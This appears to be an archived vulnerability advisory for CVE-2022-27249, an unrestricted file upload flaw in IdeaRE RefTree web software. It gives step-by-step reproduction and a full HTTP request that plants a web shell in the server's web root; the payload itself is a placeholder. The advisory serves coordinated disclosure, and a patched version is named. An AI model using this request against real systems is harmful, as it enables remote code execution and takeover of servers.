IdeaRE RefTree Shell Upload

Authored by Savino Sisco

Posted Mar 31, 2022

IdeaRE RefTree versions prior to 2021.09.17 suffer from a remote shell upload vulnerability.

tags | exploit, remote, shell
advisories | CVE-2022-27249
SHA-256 | 7a1f36a186daaabfb1cb5a35f53c2411f1ac4fc02655a8038cdac234c32dd9fd **Download** | **Favorite** | **View**

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
===============================================================================
                  title: IdeaRE RefTree Remote Code Execution
                product: IdeaRE RefTree < 2021.09.17
     vulnerability type: Unrestricted File Upload
                 CVE ID: CVE-2022-27249
               severity: High
           CVSSv3 score: 8.8
          CVSSv3 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
                  found: 2021-09-13
                     by: Savino Sisco saviosisco@gmail.com
===============================================================================

[EXECUTIVE SUMMARY]
RefTree is a web application made for managing complex real estate situations.
Among other features, it offers the possibility for authenticated users
to upload and download DWG (CAD drawings) files for buildings.

During a penetration test activity, an "Unrestricted File Upload" vulnerability
was found which leverages the upload feature to upload a file anywhere on the
target system.

By uploading a malicious web page, like an aspx web shell, to the server's
web root it is possible to achive code execution by just navigating to the
malicious page with a web browser.

[VULNERABLE VERSIONS]
IdeaRE RefTree < 2021.09.17

[TECHNICAL DETAILS]
It is possible to reproduce the issue following these steps:
1. Log into the application to get a valid session cookie
2. Get a valid "ObjId" from the application (the ID of a building to associate
   the file to)
3. Use the API endpoint '/CaddemServiceJS/CaddemService.svc/rest/UploadDwg'
   to upload a file on the target system, for example a web shell in the
   server's web root
4. Navigate to the new page with a web browser to trigger code execution


Example of the HTTP request to the Upload endpoint:

POST /CaddemServiceJS/CaddemService.svc/rest/UploadDwg HTTP/2
Host: [REDACTED]
Cookie: ASP.NET_SessionId=b1125gke23enpul1ukeu1ouy
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 2211
Origin: https://[REDACTED]
Referer: https://[REDACTED]/Reftreespace/

{
  "FileContent": "[BASE64_PAYLOAD]",
  "DwgName": "C:\\inetpub\\wwwroot\\webshell.aspx",
  "UploadType": "WorkingCopy",
  "ObjId": 4774726,
  "ObjType": 5,
  "UpdateState": true,
  "DwgOp": 23
}


HTTP/2 200 OK
Cache-Control: private
Content-Type: application/json; charset=utf-8
Server: Microsoft-IIS/10.0
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: [REDACTED]
X-Powered-By: ASP.NET
Date: Fri, 10 Sep 2021 15:00:53 GMT
Content-Length: 24
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

Red Hat	186 files
Ubuntu	52 files
Gentoo	44 files
Debian	27 files
Apple	25 files
Google Security Research	14 files
malvuln	10 files
nu11secur1ty	6 files
mjurczyk	4 files
George Tsimpidas	3 files

File Tags

ActiveX	(932)
Advisory	(79,557)
Arbitrary	(15,643)
BBS	(2,859)
Bypass	(1,615)
CGI	(1,015)
Code Execution	(6,913)
Conference	(672)
Cracker	(840)
CSRF	(3,288)
DoS	(22,541)
Encryption	(2,349)
Exploit	(50,293)
File Inclusion	(4,162)
File Upload	(946)
Firewall	(821)
Info Disclosure	(2,656)

File Archives

November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
December 2021
Older

Systems

AIX	(426)
Apple	(1,926)

```
{"UploadDwgResult":null}


[VULNERABILITY REFERENCE]
The following CVE ID was allocated to track the vulnerabilities:
CVE-2022-27249


[DISCLOSURE TIMELINE]
2021-09-13  Vulnerability disclosed to our customer and the vendor.
            Vendor acknowledged the issue.
2021-09-17  Vendor released a fix for the software.
2021-10-15  The vulnerability was rechecked in the newer version to confirm
            that is was indeed fixed.
2022-03-15  Researcher requested to publicly disclose the issue; public
            coordinated disclosure.

[RESOLUTION]
Update the software to a version >= 2021.09.17

Savino Sisco <saviosisco@gmail.com>
https://www.linkedin.com/in/savino-sisco/
```

Login or Register to add favorites

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other